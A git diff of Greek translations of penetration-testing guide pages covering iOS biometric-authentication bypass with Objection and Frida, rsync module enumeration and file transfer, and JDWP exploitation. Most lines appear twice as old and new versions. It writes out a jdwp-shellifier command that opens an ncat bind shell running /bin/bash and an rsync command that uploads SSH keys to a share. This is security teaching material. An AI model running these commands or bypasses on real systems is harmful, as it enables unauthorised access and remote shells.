Για **περισσότερες πληροφορίες** σχετικά με τις κρυπτογραφικές APIs και βιβλιοθήκες iOS, επισκεφθείτε [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
|
||||
## Τοπική Αυθεντικοποίηση
|
||||
|
||||
Η **τοπική αυθεντικοποίηση** παίζει κρίσιμο ρόλο, ειδικά όταν αφορά την προστασία της πρόσβασης σε ένα απομακρυσμένο σημείο μέσω κρυπτογραφικών μεθόδων. Η ουσία εδώ είναι ότι χωρίς σωστή υλοποίηση, οι μηχανισμοί τοπικής αυθεντικοποίησης μπορούν να παρακαμφθούν.
|
||||
|
||||
Το [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) της Apple και το [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) παρέχουν ισχυρά APIs για τους προγραμματιστές ώστε να διευκολύνουν τα διαλόγους αυθεντικοποίησης χρηστών και να χειρίζονται με ασφάλεια μυστικά δεδομένα, αντίστοιχα. Το Secure Enclave ασφαλίζει το αναγνωριστικό δακτυλικού αποτυπώματος για το Touch ID, ενώ το Face ID βασίζεται στην αναγνώριση προσώπου χωρίς να διακυβεύει τα βιομετρικά δεδομένα.
|
||||
Το [**πλαίσιο Τοπικής Αυθεντικοποίησης**](https://developer.apple.com/documentation/localauthentication) της Apple και το [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) παρέχουν ισχυρές APIs για τους προγραμματιστές ώστε να διευκολύνουν τα διαλόγους αυθεντικοποίησης χρηστών και να χειρίζονται με ασφάλεια μυστικά δεδομένα, αντίστοιχα. Το Secure Enclave ασφαλίζει το αναγνωριστικό δακτυλικού αποτυπώματος για το Touch ID, ενώ το Face ID βασίζεται στην αναγνώριση προσώπου χωρίς να διακυβεύει τα βιομετρικά δεδομένα.
|
||||
|
||||
Για την ενσωμάτωση του Touch ID/Face ID, οι προγραμματιστές έχουν δύο επιλογές API:
|
||||
|
||||
- **`LocalAuthentication.framework`** για αυθεντικοποίηση χρηστών υψηλού επιπέδου χωρίς πρόσβαση σε βιομετρικά δεδομένα.
|
||||
- **`Security.framework`** για πρόσβαση σε υπηρεσίες keychain χαμηλού επιπέδου, ασφαλίζοντας μυστικά δεδομένα με βιομετρική αυθεντικοποίηση. Διάφοροι [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) διευκολύνουν την πρόσβαση στο keychain.
|
||||
- **`Security.framework`** για πρόσβαση σε υπηρεσίες keychain χαμηλού επιπέδου, ασφαλίζοντας μυστικά δεδομένα με βιομετρική αυθεντικοποίηση. Διάφοροι [ανοιχτού κώδικα περιτυλίκτες](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) διευκολύνουν την πρόσβαση στο keychain.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ωστόσο, τόσο το `LocalAuthentication.framework` όσο και το `Security.framework` παρουσιάζουν ευπάθειες, καθώς επιστρέφουν κυρίως boolean τιμές χωρίς να μεταδίδουν δεδομένα για τις διαδικασίες αυθεντικοποίησης, καθιστώντας τα ευάλωτα σε παράκαμψη (ανατρέξτε στο [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
> Ωστόσο, τόσο το `LocalAuthentication.framework` όσο και το `Security.framework` παρουσιάζουν ευπάθειες, καθώς επιστρέφουν κυρίως boolean τιμές χωρίς να μεταδίδουν δεδομένα για διαδικασίες αυθεντικοποίησης, καθιστώντας τα ευάλωτα σε παράκαμψη (ανατρέξτε στο [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
|
||||
### Υλοποίηση Τοπικής Αυθεντικοποίησης
|
||||
|
||||
Για να ζητήσουν από τους χρήστες αυθεντικοποίηση, οι προγραμματιστές θα πρέπει να χρησιμοποιήσουν τη μέθοδο **`evaluatePolicy`** μέσα στην κλάση **`LAContext`**, επιλέγοντας μεταξύ:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Ζητάει Touch ID ή κωδικό πρόσβασης συσκευής, αποτυγχάνει αν κανένα από τα δύο δεν είναι ενεργοποιημένο.
|
||||
- **`deviceOwnerAuthentication`**: Ζητάει Touch ID ή κωδικό πρόσβασης συσκευής, αποτυγχάνοντας αν κανένα από τα δύο δεν είναι ενεργοποιημένο.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Ζητάει αποκλειστικά Touch ID.
|
||||
|
||||
Μια επιτυχής αυθεντικοποίηση υποδεικνύεται από μια boolean τιμή επιστροφής από το **`evaluatePolicy`**, υποδεικνύοντας μια πιθανή αδυναμία ασφαλείας.
|
||||
|
||||
### Τοπική Αυθεντικοποίηση χρησιμοποιώντας Keychain
|
||||
|
||||
Η υλοποίηση **τοπικής αυθεντικοποίησης** σε εφαρμογές iOS περιλαμβάνει τη χρήση των **keychain APIs** για την ασφαλή αποθήκευση μυστικών δεδομένων όπως τα διαπιστευτήρια αυθεντικοποίησης. Αυτή η διαδικασία διασφαλίζει ότι τα δεδομένα μπορούν να προσπελαστούν μόνο από τον χρήστη, χρησιμοποιώντας τον κωδικό πρόσβασης της συσκευής τους ή βιομετρική αυθεντικοποίηση όπως το Touch ID.
|
||||
Η υλοποίηση της **τοπικής αυθεντικοποίησης** σε εφαρμογές iOS περιλαμβάνει τη χρήση των **keychain APIs** για την ασφαλή αποθήκευση μυστικών δεδομένων όπως τα διαπιστευτήρια αυθεντικοποίησης. Αυτή η διαδικασία διασφαλίζει ότι τα δεδομένα μπορούν να προσπελαστούν μόνο από τον χρήστη, χρησιμοποιώντας τον κωδικό πρόσβασης της συσκευής τους ή βιομετρική αυθεντικοποίηση όπως το Touch ID.
|
||||
|
||||
Το keychain προσφέρει τη δυνατότητα να ορίσετε στοιχεία με το χαρακτηριστικό `SecAccessControl`, το οποίο περιορίζει την πρόσβαση στο στοιχείο μέχρι ο χρήστης να αυθεντικοποιηθεί επιτυχώς μέσω Touch ID ή κωδικού πρόσβασης συσκευής. Αυτή η δυνατότητα είναι κρίσιμη για την ενίσχυση της ασφάλειας.
|
||||
Το keychain προσφέρει τη δυνατότητα να ορίσετε στοιχεία με το χαρακτηριστικό `SecAccessControl`, το οποίο περιορίζει την πρόσβαση στο στοιχείο μέχρι ο χρήστης να αυθεντικοποιηθεί επιτυχώς μέσω του Touch ID ή του κωδικού πρόσβασης της συσκευής. Αυτή η δυνατότητα είναι κρίσιμη για την ενίσχυση της ασφάλειας.
|
||||
|
||||
Παρακάτω παρατίθενται παραδείγματα κώδικα σε Swift και Objective-C που δείχνουν πώς να αποθηκεύσετε και να ανακτήσετε μια συμβολοσειρά από/στο keychain, εκμεταλλευόμενοι αυτές τις δυνατότητες ασφαλείας. Τα παραδείγματα δείχνουν συγκεκριμένα πώς να ρυθμίσετε τον έλεγχο πρόσβασης ώστε να απαιτείται αυθεντικοποίηση Touch ID και να διασφαλίσετε ότι τα δεδομένα είναι προσβάσιμα μόνο στη συσκευή στην οποία ρυθμίστηκαν, υπό την προϋπόθεση ότι έχει ρυθμιστεί κωδικός πρόσβασης συσκευής.
|
||||
Παρακάτω παρατίθενται παραδείγματα κώδικα σε Swift και Objective-C που δείχνουν πώς να αποθηκεύσετε και να ανακτήσετε μια συμβολοσειρά από/στο keychain, εκμεταλλευόμενοι αυτές τις δυνατότητες ασφαλείας. Τα παραδείγματα δείχνουν συγκεκριμένα πώς να ρυθμίσετε τον έλεγχο πρόσβασης ώστε να απαιτεί αυθεντικοποίηση μέσω Touch ID και να διασφαλίσετε ότι τα δεδομένα είναι προσβάσιμα μόνο στη συσκευή στην οποία ρυθμίστηκαν, υπό την προϋπόθεση ότι έχει ρυθμιστεί κωδικός πρόσβασης συσκευής.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -885,13 +885,13 @@ $ otool -L <AppName>.app/<AppName>
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
Αν χρησιμοποιείται το `Security.framework`, μόνο το δεύτερο θα εμφανιστεί.
|
||||
Αν χρησιμοποιείται το `Security.framework`, μόνο το δεύτερο θα εμφανίζεται.
|
||||
|
||||
### Παράκαμψη Πλαισίου Τοπικής Αυθεντικοποίησης
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Μέσω της **Objection Biometrics Bypass**, που βρίσκεται [σε αυτή τη σελίδα του GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), διατίθεται μια τεχνική για την υπέρβαση του μηχανισμού **LocalAuthentication**. Ο πυρήνας αυτής της προσέγγισης περιλαμβάνει την εκμετάλλευση του **Frida** για την παραποίηση της συνάρτησης `evaluatePolicy`, διασφαλίζοντας ότι αποδίδει πάντα ένα αποτέλεσμα `True`, ανεξαρτήτως της πραγματικής επιτυχίας αυθεντικοποίησης. Αυτό είναι ιδιαίτερα χρήσιμο για την παράκαμψη ελαττωματικών διαδικασιών βιομετρικής αυθεντικοποίησης.
|
||||
Μέσω της **Παράκαμψης Βιομετρικών Δεδομένων Objection**, που βρίσκεται [σε αυτή τη σελίδα του GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), διατίθεται μια τεχνική για την υπέρβαση του μηχανισμού **LocalAuthentication**. Ο πυρήνας αυτής της προσέγγισης περιλαμβάνει την εκμετάλλευση του **Frida** για την παραποίηση της συνάρτησης `evaluatePolicy`, διασφαλίζοντας ότι αποδίδει πάντα ένα αποτέλεσμα `True`, ανεξαρτήτως της πραγματικής επιτυχίας αυθεντικοποίησης. Αυτό είναι ιδιαίτερα χρήσιμο για την παράκαμψη ελαττωματικών διαδικασιών βιομετρικής αυθεντικοποίησης.
|
||||
|
||||
Για να ενεργοποιηθεί αυτή η παράκαμψη, χρησιμοποιείται η εξής εντολή:
|
||||
```bash
|
||||
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
}
|
||||
}
|
||||
```
|
||||
Για να επιτευχθεί η **παράκαμψη** της Τοπικής Αυθεντικοποίησης, έχει γραφτεί ένα σενάριο Frida. Αυτό το σενάριο στοχεύει τον έλεγχο **evaluatePolicy**, παρεμβαίνοντας στην ανατροφοδότησή του για να διασφαλίσει ότι επιστρέφει **success=1**. Με την τροποποίηση της συμπεριφοράς της ανατροφοδότησης, ο έλεγχος αυθεντικοποίησης παρακάμπτεται αποτελεσματικά.
|
||||
Για να επιτευχθεί η **παράκαμψη** της Τοπικής Αυθεντικοποίησης, έχει γραφτεί ένα σενάριο Frida. Αυτό το σενάριο στοχεύει τον έλεγχο **evaluatePolicy**, παρεμβαίνοντας στην ανατροφοδότηση του για να διασφαλίσει ότι επιστρέφει **success=1**. Με την τροποποίηση της συμπεριφοράς της ανατροφοδότησης, ο έλεγχος αυθεντικοποίησης παρακάμπτεται αποτελεσματικά.
|
||||
|
||||
Το παρακάτω σενάριο εισάγεται για να τροποποιήσει το αποτέλεσμα της μεθόδου **evaluatePolicy**. Αλλάζει το αποτέλεσμα της ανατροφοδότησης ώστε να υποδεικνύει πάντα επιτυχία.
|
||||
```swift
|
||||
@ -1006,7 +1006,7 @@ ios-webviews.md
|
||||
ios-serialisation-and-encoding.md
|
||||
{{#endref}}
|
||||
|
||||
## Επικοινωνία Δικτύου
|
||||
## Δικτυακή Επικοινωνία
|
||||
|
||||
Είναι σημαντικό να ελέγξετε ότι δεν υπάρχει επικοινωνία **χωρίς κρυπτογράφηση** και επίσης ότι η εφαρμογή **επικυρώνει σωστά το πιστοποιητικό TLS** του διακομιστή.\
|
||||
Για να ελέγξετε αυτά τα ζητήματα μπορείτε να χρησιμοποιήσετε έναν proxy όπως το **Burp**:
|
||||
@ -1017,8 +1017,8 @@ burp-configuration-for-ios.md
|
||||
|
||||
### Έλεγχος Ονόματος Κεντρικού Υπολογιστή
|
||||
|
||||
Ένα κοινό ζήτημα στην επικύρωση του πιστοποιητικού TLS είναι να ελέγξετε ότι το πιστοποιητικό έχει υπογραφεί από μια **έμπιστη** **CA**, αλλά **όχι να ελέγξετε** αν **το όνομα κεντρικού υπολογιστή** του πιστοποιητικού είναι το όνομα κεντρικού υπολογιστή που προσπελάζεται.\
|
||||
Για να ελέγξετε αυτό το ζήτημα χρησιμοποιώντας το Burp, αφού εμπιστευθείτε το Burp CA στο iPhone, μπορείτε να **δημιουργήσετε ένα νέο πιστοποιητικό με το Burp για έναν διαφορετικό όνομα κεντρικού υπολογιστή** και να το χρησιμοποιήσετε. Αν η εφαρμογή εξακολουθεί να λειτουργεί, τότε κάτι είναι ευάλωτο.
|
||||
Ένα κοινό ζήτημα στην επικύρωση του πιστοποιητικού TLS είναι να ελέγξετε ότι το πιστοποιητικό έχει υπογραφεί από μια **έμπιστη** **CA**, αλλά **όχι να ελέγξετε** αν **το όνομα του κεντρικού υπολογιστή** του πιστοποιητικού είναι το όνομα του κεντρικού υπολογιστή που προσπελάζεται.\
|
||||
Για να ελέγξετε αυτό το ζήτημα χρησιμοποιώντας το Burp, αφού εμπιστευθείτε την CA του Burp στο iPhone, μπορείτε να **δημιουργήσετε ένα νέο πιστοποιητικό με το Burp για έναν διαφορετικό κεντρικό υπολογιστή** και να το χρησιμοποιήσετε. Αν η εφαρμογή εξακολουθεί να λειτουργεί, τότε κάτι είναι ευάλωτο.
|
||||
|
||||
### Pinning Πιστοποιητικού
|
||||
|
||||
@ -1029,26 +1029,26 @@ burp-configuration-for-ios.md
|
||||
|
||||
## Διάφορα
|
||||
|
||||
- Στο **`/System/Library`** μπορείτε να βρείτε τα frameworks που είναι εγκατεστημένα στο τηλέφωνο που χρησιμοποιούνται από τις συστημικές εφαρμογές
|
||||
- Στο **`/System/Library`** μπορείτε να βρείτε τα frameworks που είναι εγκατεστημένα στο τηλέφωνο και χρησιμοποιούνται από τις συστημικές εφαρμογές
|
||||
- Οι εφαρμογές που εγκαθίστανται από τον χρήστη από το App Store βρίσκονται μέσα στο **`/User/Applications`**
|
||||
- Και το **`/User/Library`** περιέχει δεδομένα που αποθηκεύονται από τις εφαρμογές επιπέδου χρήστη
|
||||
- Μπορείτε να αποκτήσετε πρόσβαση στο **`/User/Library/Notes/notes.sqlite`** για να διαβάσετε τις σημειώσεις που αποθηκεύονται μέσα στην εφαρμογή.
|
||||
- Μέσα στον φάκελο μιας εγκατεστημένης εφαρμογής (**`/User/Applications/<APP ID>/`**) μπορείτε να βρείτε μερικά ενδιαφέροντα αρχεία:
|
||||
- **`iTunesArtwork`**: Το εικονίδιο που χρησιμοποιείται από την εφαρμογή
|
||||
- **`iTunesMetadata.plist`**: Πληροφορίες της εφαρμογής που χρησιμοποιούνται στο App Store
|
||||
- **`/Library/*`**: Περιέχει τις προτιμήσεις και την προσωρινή μνήμη. Στο **`/Library/Cache/Snapshots/*`** μπορείτε να βρείτε το στιγμιότυπο που πραγματοποιήθηκε στην εφαρμογή πριν την αποστολή της στο παρασκήνιο.
|
||||
- **`/Library/*`**: Περιέχει τις προτιμήσεις και την cache. Στο **`/Library/Cache/Snapshots/*`** μπορείτε να βρείτε το snapshot που πραγματοποιήθηκε στην εφαρμογή πριν την αποστολή της στο παρασκήνιο.
|
||||
|
||||
### Hot Patching/Επιβεβλημένη Ενημέρωση
|
||||
|
||||
Οι προγραμματιστές μπορούν απομακρυσμένα **να διορθώσουν όλες τις εγκαταστάσεις της εφαρμογής τους άμεσα** χωρίς να χρειάζεται να υποβάλουν ξανά την εφαρμογή στο App Store και να περιμένουν μέχρι να εγκριθεί.\
|
||||
Για αυτό το σκοπό συνήθως χρησιμοποιείται το [**JSPatch**](https://github.com/bang590/JSPatch)**.** Αλλά υπάρχουν και άλλες επιλογές όπως το [Siren](https://github.com/ArtSabintsev/Siren) και το [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Αυτός είναι ένας επικίνδυνος μηχανισμός που θα μπορούσε να καταχραστεί από κακόβουλα SDK τρίτων, επομένως συνιστάται να ελέγξετε ποια μέθοδος χρησιμοποιείται για την αυτόματη ενημέρωση (αν υπάρχει) και να την δοκιμάσετε.** Μπορείτε να προσπαθήσετε να κατεβάσετε μια προηγούμενη έκδοση της εφαρμογής για αυτό το σκοπό.
|
||||
**Αυτή είναι μια επικίνδυνη μηχανή που θα μπορούσε να καταχραστεί από κακόβουλα SDK τρίτων, επομένως συνιστάται να ελέγξετε ποια μέθοδος χρησιμοποιείται για την αυτόματη ενημέρωση (αν υπάρχει) και να την δοκιμάσετε.** Μπορείτε να προσπαθήσετε να κατεβάσετε μια προηγούμενη έκδοση της εφαρμογής για αυτό το σκοπό.
|
||||
|
||||
### Τρίτοι
|
||||
|
||||
Μια σημαντική πρόκληση με τα **SDK τρίτων** είναι η **έλλειψη λεπτομερούς ελέγχου** πάνω στις λειτουργίες τους. Οι προγραμματιστές αντιμετωπίζουν μια επιλογή: είτε να ενσωματώσουν το SDK και να αποδεχτούν όλα τα χαρακτηριστικά του, συμπεριλαμβανομένων πιθανών ευπαθειών ασφαλείας και ανησυχιών για την ιδιωτικότητα, είτε να παραιτηθούν εντελώς από τα οφέλη του. Συχνά, οι προγραμματιστές δεν είναι σε θέση να διορθώσουν τις ευπάθειες μέσα σε αυτά τα SDK. Επιπλέον, καθώς τα SDK κερδίζουν εμπιστοσύνη στην κοινότητα, ορισμένα μπορεί να αρχίσουν να περιέχουν κακόβουλο λογισμικό.
|
||||
Μια σημαντική πρόκληση με τα **SDK τρίτων** είναι η **έλλειψη λεπτομερούς ελέγχου** πάνω στις λειτουργίες τους. Οι προγραμματιστές αντιμετωπίζουν την επιλογή: είτε να ενσωματώσουν το SDK και να αποδεχτούν όλα τα χαρακτηριστικά του, συμπεριλαμβανομένων πιθανών ευπαθειών ασφαλείας και ανησυχιών για την ιδιωτικότητα, είτε να παραιτηθούν εντελώς από τα οφέλη του. Συχνά, οι προγραμματιστές δεν είναι σε θέση να διορθώσουν τις ευπάθειες μέσα σε αυτά τα SDK. Επιπλέον, καθώς τα SDK αποκτούν εμπιστοσύνη στην κοινότητα, ορισμένα μπορεί να αρχίσουν να περιέχουν κακόβουλο λογισμικό.
|
||||
|
||||
Οι υπηρεσίες που παρέχονται από τα SDK τρίτων μπορεί να περιλαμβάνουν παρακολούθηση συμπεριφοράς χρηστών, προβολές διαφημίσεων ή βελτιώσεις εμπειρίας χρήστη. Ωστόσο, αυτό εισάγει έναν κίνδυνο καθώς οι προγραμματιστές μπορεί να μην είναι πλήρως ενήμεροι για τον κώδικα που εκτελείται από αυτές τις βιβλιοθήκες, οδηγώντας σε πιθανούς κινδύνους για την ιδιωτικότητα και την ασφάλεια. Είναι κρίσιμο να περιορίσετε τις πληροφορίες που μοιράζεστε με υπηρεσίες τρίτων σε ό,τι είναι απαραίτητο και να διασφαλίσετε ότι δεν εκτίθεται ευαίσθητη δεδομένα.
|
||||
Οι υπηρεσίες που παρέχονται από τα SDK τρίτων μπορεί να περιλαμβάνουν παρακολούθηση συμπεριφοράς χρηστών, προβολές διαφημίσεων ή βελτιώσεις εμπειρίας χρήστη. Ωστόσο, αυτό εισάγει έναν κίνδυνο καθώς οι προγραμματιστές μπορεί να μην είναι πλήρως ενήμεροι για τον κώδικα που εκτελείται από αυτές τις βιβλιοθήκες, οδηγώντας σε πιθανούς κινδύνους για την ιδιωτικότητα και την ασφάλεια. Είναι κρίσιμο να περιορίσετε τις πληροφορίες που μοιράζεστε με τις υπηρεσίες τρίτων σε ό,τι είναι απαραίτητο και να διασφαλίσετε ότι δεν εκτίθεται ευαίσθητη δεδομένα.
|
||||
|
||||
Η υλοποίηση υπηρεσιών τρίτων συνήθως έρχεται σε δύο μορφές: μια αυτόνομη βιβλιοθήκη ή ένα πλήρες SDK. Για να προστατεύσετε την ιδιωτικότητα των χρηστών, οποιαδήποτε δεδομένα μοιράζεστε με αυτές τις υπηρεσίες θα πρέπει να είναι **ανώνυμα** για να αποτραπεί η αποκάλυψη Προσωπικών Αναγνωρίσιμων Πληροφοριών (PII).
|
||||
|
||||
|
||||
@ -6,16 +6,16 @@
|
||||
|
||||
Από [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
> **rsync** είναι ένα εργαλείο για την αποδοτική [μεταφορά](https://en.wikipedia.org/wiki/File_transfer) και [συγχρονισμό](https://en.wikipedia.org/wiki/File_synchronization) [αρχείων](https://en.wikipedia.org/wiki/Computer_file) μεταξύ ενός υπολογιστή και ενός εξωτερικού σκληρού δίσκου και σε [δικτυωμένους](https://en.wikipedia.org/wiki/Computer_network) [υπολογιστές](https://en.wikipedia.org/wiki/Computer) συγκρίνοντας τους [χρόνους τροποποίησης](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) και τα μεγέθη των αρχείων.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Βρίσκεται συνήθως σε [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [λειτουργικά συστήματα](https://en.wikipedia.org/wiki/Operating_system). Ο αλγόριθμος rsync είναι ένας τύπος [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) και χρησιμοποιείται για τη μείωση της χρήσης δικτύου. [Zlib](https://en.wikipedia.org/wiki/Zlib) μπορεί να χρησιμοποιηθεί για επιπλέον [συμπίεση δεδομένων](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) και [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ή [stunnel](https://en.wikipedia.org/wiki/Stunnel) μπορεί να χρησιμοποιηθεί για ασφάλεια.
|
||||
> **rsync** είναι ένα εργαλείο για την αποδοτική [μεταφορά](https://en.wikipedia.org/wiki/File_transfer) και [συγχρονισμό](https://en.wikipedia.org/wiki/File_synchronization) [αρχείων](https://en.wikipedia.org/wiki/Computer_file) μεταξύ ενός υπολογιστή και ενός εξωτερικού σκληρού δίσκου και σε [δικτυωμένους](https://en.wikipedia.org/wiki/Computer_network) [υπολογιστές](https://en.wikipedia.org/wiki/Computer) συγκρίνοντας τους [χρόνους τροποποίησης](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) και τα μεγέθη των αρχείων.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Βρίσκεται συνήθως σε [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [λειτουργικά συστήματα](https://en.wikipedia.org/wiki/Operating_system). Ο αλγόριθμος rsync είναι ένας τύπος [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) και χρησιμοποιείται για τη μείωση της χρήσης δικτύου. [Zlib](https://en.wikipedia.org/wiki/Zlib) μπορεί να χρησιμοποιηθεί για επιπλέον [συμπίεση δεδομένων](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) και [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ή [stunnel](https://en.wikipedia.org/wiki/Stunnel) μπορεί να χρησιμοποιηθεί για ασφάλεια.
|
||||
|
||||
**Προεπιλεγμένη θύρα:** 873
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
873/tcp open rsync syn-ack
|
||||
```
|
||||
## Αριθμητική
|
||||
## Enumeration
|
||||
|
||||
### Μπανέρ & Χειροκίνητη επικοινωνία
|
||||
### Banner & Manual communication
|
||||
```bash
|
||||
nc -vn 127.0.0.1 873
|
||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||
@ -39,7 +39,7 @@ raidroot
|
||||
```
|
||||
### **Καταμέτρηση Κοινών Φακέλων**
|
||||
|
||||
**Τα modules Rsync** αναγνωρίζονται ως **κοινές καταλόγοι** που μπορεί να είναι **προστατευμένοι με κωδικούς πρόσβασης**. Για να εντοπιστούν τα διαθέσιμα modules και να ελεγχθεί αν απαιτούν κωδικούς πρόσβασης, χρησιμοποιούνται οι εξής εντολές:
|
||||
**Rsync modules** αναγνωρίζονται ως **κοινές διανομές φακέλων** που μπορεί να είναι **προστατευμένες με κωδικούς πρόσβασης**. Για να εντοπιστούν οι διαθέσιμοι πόροι και να ελεγχθεί αν απαιτούν κωδικούς πρόσβασης, χρησιμοποιούνται οι εξής εντολές:
|
||||
```bash
|
||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/rsync/modules_list
|
||||
@ -47,13 +47,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
||||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
Να είστε προσεκτικοί ότι ορισμένες κοινές χρήσεις μπορεί να μην εμφανίζονται στη λίστα, πιθανώς κρύβοντάς τις. Επιπλέον, η πρόσβαση σε ορισμένες κοινές χρήσεις μπορεί να περιορίζεται σε συγκεκριμένα **credentials**, όπως υποδεικνύεται από ένα μήνυμα **"Access Denied"**.
|
||||
Να είστε προσεκτικοί, καθώς ορισμένες κοινές χρήσεις ενδέχεται να μην εμφανίζονται στη λίστα, πιθανώς κρύβοντάς τις. Επιπλέον, η πρόσβαση σε ορισμένες κοινές χρήσεις μπορεί να περιορίζεται σε συγκεκριμένα **credentials**, όπως υποδεικνύεται από ένα μήνυμα **"Access Denied"**.
|
||||
|
||||
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
|
||||
|
||||
### Χειροκίνητη Χρήση Rsync
|
||||
|
||||
Αφού αποκτήσετε μια **λίστα μονάδων**, οι ενέργειες εξαρτώνται από το αν απαιτείται αυθεντικοποίηση. Χωρίς αυθεντικοποίηση, η **καταγραφή** και η **αντιγραφή** αρχείων από έναν κοινόχρηστο φάκελο σε έναν τοπικό κατάλογο επιτυγχάνεται μέσω:
|
||||
Αφού αποκτηθεί μια **λίστα modules**, οι ενέργειες εξαρτώνται από το αν απαιτείται αυθεντικοποίηση. Χωρίς αυθεντικοποίηση, η **λίστα** και η **αντιγραφή** αρχείων από έναν κοινόχρηστο φάκελο σε έναν τοπικό κατάλογο επιτυγχάνεται μέσω:
|
||||
```bash
|
||||
# Listing a shared folder
|
||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
@ -63,7 +63,7 @@ rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
Αυτή η διαδικασία **μεταφέρει αρχεία αναδρομικά**, διατηρώντας τα χαρακτηριστικά και τις άδειές τους.
|
||||
|
||||
Με **διαπιστευτήρια**, η καταγραφή και η λήψη από έναν κοινόχρηστο φάκελο μπορεί να γίνει ως εξής, όπου θα εμφανιστεί μια προτροπή για κωδικό πρόσβασης:
|
||||
Με **διαπιστευτήρια**, η καταχώρηση και η λήψη από έναν κοινόχρηστο φάκελο μπορεί να γίνει ως εξής, όπου θα εμφανιστεί μια προτροπή για κωδικό πρόσβασης:
|
||||
```bash
|
||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
@ -74,7 +74,7 @@ rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||||
```
|
||||
## POST
|
||||
|
||||
Για να εντοπίσετε το αρχείο ρυθμίσεων rsyncd, εκτελέστε:
|
||||
Για να εντοπίσετε το αρχείο ρύθμισης παραμέτρων rsyncd, εκτελέστε:
|
||||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
|
||||
@ -2,13 +2,14 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Εκμετάλλευση
|
||||
|
||||
Η εκμετάλλευση του JDWP βασίζεται στην **έλλειψη αυθεντικοποίησης και κρυπτογράφησης** του πρωτοκόλλου. Γενικά βρίσκεται σε **θύρα 8000**, αλλά είναι δυνατές και άλλες θύρες. Η αρχική σύνδεση γίνεται στέλνοντας ένα "JDWP-Handshake" στη στοχευμένη θύρα. Εάν μια υπηρεσία JDWP είναι ενεργή, απαντά με την ίδια συμβολοσειρά, επιβεβαιώνοντας την παρουσία της. Αυτή η χειραψία λειτουργεί ως μέθοδος αναγνώρισης για την ταυτοποίηση υπηρεσιών JDWP στο δίκτυο.
|
||||
|
||||
Όσον αφορά την αναγνώριση διαδικασιών, η αναζήτηση της συμβολοσειράς "jdwk" σε διαδικασίες Java μπορεί να υποδείξει μια ενεργή συνεδρία JDWP.
|
||||
|
||||
Το εργαλείο αναφοράς είναι το [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Μπορείτε να το χρησιμοποιήσετε με διάφορες παραμέτρους:
|
||||
Το εργαλείο που χρησιμοποιείται είναι το [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Μπορείτε να το χρησιμοποιήσετε με διάφορες παραμέτρους:
|
||||
```bash
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||
@ -27,7 +28,7 @@
|
||||
|
||||
2. **Χειραψία JDWP**:
|
||||
|
||||
- Χρησιμοποιείται μια απλή διαδικασία χειραψίας για την έναρξη της επικοινωνίας. Ανταλλάσσεται μια ASCII συμβολοσειρά 14 χαρακτήρων “JDWP-Handshake” μεταξύ του Debugger (πελάτης) και του Debuggee (διακομιστής).
|
||||
